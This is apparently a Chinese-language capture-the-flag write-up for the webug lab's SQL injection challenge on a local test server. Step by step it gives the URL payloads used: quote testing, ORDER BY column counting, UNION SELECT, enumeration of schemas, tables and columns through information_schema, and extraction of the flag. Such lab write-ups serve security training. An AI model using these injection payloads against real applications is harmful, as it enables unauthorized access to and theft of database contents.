webug 显错注入 WP
webug 显错注入 WP
0x00
原网址:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1
0x01
打开,观察url结构,发现id=1,先加个单引号'测试一下
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1'
0x02
找到注入点了,接下来看一下有多少列
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' order by 3 %23
发现order by 3的时候报错了,说明一共有两列
0x03
接下来看一下显错点在哪里
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' union select 1,2 %23
0x04
确认数据库版本
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' union select 1,version() %23
数据库版本大于15的话,mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息。
0x05
查找数据库
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23
0x06
确定当前使用的数据库
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,DATABASE() %23
0x07
查找当前使用的数据库下面的所有表名
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23
0x08
看到flag表,确定flag表的字段
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23
0x09
确定flag表的内容
查看id
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23
0x10
查看flag字段内容
测试:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23
0x1a
dfafdasfafdsadfa
就是我们寻找的flag,提交,成功。